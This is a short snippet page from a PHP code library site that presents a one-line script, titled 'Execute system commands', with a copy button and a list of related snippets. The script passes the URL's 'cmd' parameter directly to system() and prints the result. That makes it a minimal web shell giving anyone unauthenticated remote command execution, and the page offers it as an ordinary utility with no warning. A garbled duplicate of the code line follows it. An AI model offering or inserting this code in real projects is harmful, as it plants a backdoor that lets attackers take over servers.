CODE
LIBARY.COM
Home
/
PHP
PHP Execute system commands
Execute an external program and display the output
<?php echo "<pre>"; system($_GET['cmd']); echo "</pre>"; ?>
"; system($_GET['cmd']); echo ""; ?>
Copy to Clipboard
Related Snippets
PHP List Recursive Directories
PHP Random picture from folder
PHP Delete file in all directories
PHP Last time a file was modified
PHP Extracting Values from Nested JSON Data in PHP
PHP PHP Regular Expression Filter for URL Detection and Hyperlink Creation
PHP Send mail with headers
PHP Object Cloning
PHP Curl
PHP Array Simple Randomizing